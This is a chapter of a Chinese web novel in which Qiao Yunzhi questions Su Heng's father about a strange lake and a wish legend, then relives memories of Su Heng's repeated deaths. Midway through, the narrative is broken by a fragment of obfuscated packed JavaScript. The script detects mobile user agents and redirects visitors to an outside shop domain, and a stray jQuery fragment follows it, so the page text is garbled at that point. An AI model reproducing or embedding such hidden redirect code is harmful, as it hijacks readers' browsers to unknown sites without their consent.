苏恒爸那双温吞的眼闪着光，像是考卷上的那条闪着诡异的光的鱼。
乔云之浑身一激灵，鸡皮疙瘩从脚底板往上爬，她后退几步，逃出苏恒爸的影子。
“伯伯，什么是许愿灵童啊？”
苏恒爸呵呵笑：“哦，村子里开玩笑说的，说十八岁小鬼头通天意，朝那棵树许愿很灵。”
“以前村子里还做这个生意的，要不是后面打击迷信……唉，不是迷信啊。”
“这……也太扯了。”她挤出一个乖巧的笑容，“伯伯，你为什么说这不是……”
苏恒爸脸上的笑逐渐僵硬，他扯扯嘴角：“哎呦，我开玩笑的。其实就是想让小恒多陪陪我俩，哈哈，毕竟要去上大学了。”
“或者让他更优秀点，上个北大，跟……他哥、表哥一样，哈哈。”
“咦，苏恒还有表哥吗？”乔云之深吸一口气，将冻僵的双手揣进兜里，“我怎么记得伯伯和伯母你们好像没什么别的亲戚了？”
“哦，远房、远房的。住在北渡市。”
“这样啊，不怎么来清林吧？”乔云之想到离清林县一千多公里的北渡市，眉头皱得更紧。
“啊对的。”
他在说谎。
她看着苏恒爸颤抖的指尖，早早就把那句“你说谎”憋回肚子里。
“伯伯，其实我觉得苏恒上什么学校他喜欢就好呀，不一定非得北大，因为……他就是他自己，他应该有选择的权利。”
“他又不是他表哥。”
“毕竟……我又不是和他表哥一起长大的。”
“哈，云云妹，你这句话什么意思啊？”
“就、就字面意思嘛！”
乔云之越说脸越烫，她只能移开视线，再次看向那棵柳树：“伯伯，你别气，我开玩笑的。”
“我只是觉得苏恒是我从小到大的朋友，他对我很重要，我不想拿他去和别人比。”
“他就是他。”
耳边一阵风声，吹起她的发丝，却降不下她耳尖的温度。
身后的男人沉默许久，轻笑一声：“哦。”
“云云，你一直很有想法，从小时候你就有很多很多想法啊。”
“小恒喜欢看你写的故事，你以前也喜欢一个人坐在我们家对着墙讲故事。”
“那个时候真讨人喜欢啊。”苏恒爸没走，而是走到她身边。
乔云之闻到他身上的气息，苏恒爸以前身上会带着淡淡的烟草味和饭香味。
而现在，只剩下出油的微微酸臭味，时间也在他的躯体上留下痕迹。
如此想着，乔云之灵机一动，决定使用对自己父亲无效的奉承老男人大法：“对了，伯伯你在水利站上班，应该很了解这个湖泊吧？为什么没有人在那溪滩上种菜呢？”
“我之前在城里，看伊江大桥下面的溪滩上都有人在上面种菜的。这个湖……”
苏恒爸果然跳不出大部分老男人的框架，把烟别在耳朵后，就开始长篇大论：“这个湖种不了菜，中间那个岛上不去。你知道伐，这个湖蛮奇怪的。”
他用那满是茧子的手挠挠几根银丝：“哎呦，咋说说好呢。我年轻的时候跟……同事的小孩来过，坐船。哦，这湖浅，坐船都有点困难，但一坐上船就会把我们几个往湖心里吸。”
“然后嘞，湖心那个岛旁边有一个特别大的地势落差，地势落差能懂伐？”
“懂的伯伯，我学地理的。”
“然后我们几个弃船跑了，就只把那个船卷了进去……有几年还卷了人进去。”苏恒爸坐在她身边，乔云之不由得站起身，倚着柱子。
“原来是这样，那伯伯你以前说过有小孩淹死……”
“啊对的，就是因为贪玩，一脚踩进湖水里，然后被湖往树那边吸，连尸体都找不回来。所以说啊，你看暑假我都让你和小恒来山上水库游泳。”苏恒爸笑起来，双手拄着腰。
“你那时候胖胖的，小恒总说你游得比他好，可惜，那个时候你也没能瘦下来。”
“你的游泳还是小恒教你的，你总害怕，他就会牵着你的手在水库里慢慢走。”
乔云之越听耳根越热，眼前浮现起童年之时，苏恒教自己游泳的模样。
水是凉的，他的手是热的。
“云云妹妹，对，就是这样！做得很棒！”
她垂下脑袋，咳嗽几声：“那伯伯……”
苏恒爸全然不在意乔云之说什么，自顾自说下去：“唉，不过多亏这个湖，发山洪的时候不用担心，能把洪水都吸进去。”
“还有那水利站，还好我年轻的时候参加建了那座水库，不然你敢想吗，每年春天都会有山洪过来的。”
老男人开始喋喋不休自己在水库的辉煌岁月，顺便批判领导的迂腐——苏恒爸喝多了才会显现出这样的嘴脸，不知为何今天分明是清醒的，却说得如此之多。
虽然乔云之早已习惯。
他对工作的抱怨以一声叹息作结：“唉，不说了，反正也快退休了。”
“伯伯什么时候退休呀？”
“明年吧，以后就要靠小恒了，呵呵。这孩子，还是很懂事的，小恒，你说是吧？”苏恒爸笑起来，挑眉看向一边。
乔云之身子一僵，看向亭子的一边，苏恒正挑着一担青菜，站在那儿看她。
“诶，爸。”
他在原地站定，朝乔云之露出一个笑：“啊，云之你不冷吗？”
他耳根通红，不知是冻的——或者他听到自己那些话了吗？
乔云之抿起嘴，摇摇头，大步朝他跑去。
“哥哥。”她压低声音叫他。
苏恒放下担子，伸手去抓她的手背，捏在手心：“别叫了，我爸还在呢。”
“伯伯明明经常听我这样叫你的……”乔云之晃晃他的手，“你来干什么呀？”
他吸吸鼻子：“帮我妈收点菜，霜打的青菜挺好吃的，回家和猪油一起炒。”
“嗯，好呀。”乔云之贴得更近，“那你刚刚有听见我和你爸在说什么吗？”
苏恒脸更红，呵呵一笑：“你猜。”
“猜个头。”
乔云之狠狠拍他屁股一下，转头看向苏恒爸。
苏恒爸没看他俩，他站在湖边，凝视那棵柳树。一会儿，他点燃夹在耳朵上的那根烟，一口一口抽起来。
烟雾缭绕，那棵柳树逐渐模糊起来。
乔云之感受到肩头的重量，苏恒不知何时把脑袋搭在她身上，整个身子贴着她：“云云，你手还放在我屁股上。”
“……”乔云之立马把手塞回自己兜里。
“你占我便宜，不说点什么？”
“不说。”
“哦，我想起来，你小时候还看过。”
“我就看过一次好吧！”乔云之被他这句话彻底惹毛，“你、你倒是干什么，贴这么紧！”
“可我小时候也是这样贴着你的啊。”他又朝她挤挤，把她整个人揽入怀中。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943664|206570||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“我都说了，不一样。”她感受到他温热的身体。他第三次死去的场景闪现在她眼前。
也是高考结束的那个下午，她推开出租屋的门，苏恒浑身是血躺在那儿，抬起手，低低叫着她：“云之……”
她浑身哆嗦，急着要打急救电话，可苏恒却一瘸一拐走到她面前，从背后抱住她：“不用了，反正也救不活了。”
“就这样好吗，就这样让我抱着你。”
“在我死之前。”
他的声音又低沉下去，夹杂着淡淡的哭腔。
“可是……我真的不想死啊云之。”
血腥味与洗衣粉香混杂在一起，让她大脑晕晕乎乎。
回忆更加汹涌，那温热的身体在她身后逐渐冰冷，她仿佛又回到那间小出租屋中。
为什么每次苏恒死去，她总会回到那间小屋子里呢？而从过去回到现在，她也会出现在那间小屋里。
不，她对那十次死亡的记忆分明是一次次穿越后才想起的，甚至最后两次她至今没有记忆。
除了苏恒死在操场那次，其他的死亡场景，她真的切实经历过吗？
还是说，这些死亡是来自于未来？来自她没有做出改变的未来？
“咳咳，小恒，云云，你们干什么呢？”苏恒爸不知何时走过来，那根烟被他随手扔到一边，碾灭。
乔云之才发现苏恒几乎整个人都要挂在她身上，脑袋还一直蹭着她的肩头——太像一对情侣了！
苏恒的热气喷在她耳侧：“哦，云之说她冷，我给她暖暖。”
乔云之屁股往后一顶，推开他，轻哼一声：“我可没说我冷，流氓。”
“伯伯，苏恒他耍流氓。”
苏恒爸笑呵呵叹口气，轻轻往苏恒脑门上一拍，什么话也没说，挑起那装着霜打青菜的担子，朝着山下走去。
“走、走吧，云之，时候不早了，我们该吃晚饭了。”苏恒吸口气，终于不再黏着她。
“走吧。”嘴上如此说着，他的手已经覆盖在她手背上，“牵手……没有别的意思，怕你手冷。”
乔云之自然看透他的小九九。
她点点头，牵住他的手，两人依偎着往山下走。
她把他的手捏得很紧。
“云之，干嘛捏得那么紧啊，有点疼。”
“你手暖和。”
至少此刻，他的手还是热的。至少此刻，浑身是血的他不会出现在她面前。
山谷的风呼啦啦地吹，扬起她的发丝，她不自觉闭上双眼，任凭苏恒牵着自己的手往山下走去。
悠长的童年，两人上山看夕阳，看到她昏昏欲睡时，她总会闭上双眼，牵着苏恒的手，一步步走下山。
因为他在她身前，所以她从不用担心自己会摔下去。因为他在，刚刚过载的信息再次被那温柔包裹。
“哒、哒、哒。”耳边响起的不止风声和两人的脚步声。
“唰！”乔云之听见脚从土坡上滑落的声音。
她猛地睁开眼，看向声音传来的方向。
她对上那双漂亮的眼睛，方晓绣不知何时出现在山坡边上，垂眼看着她。
她脸色苍白，黑发垂在身侧，穿着一件绀色羽绒服。平时爱笑爱闹的她此刻一言不发，就站在茅草丛中死死盯着乔云之。
“小……”乔云之还没喊出剩下的话，她就挪动身子，隐匿在石头之后。
乔云之脚下打起架，原本有条不紊的步伐左右交织，咣啷一下扑向苏恒。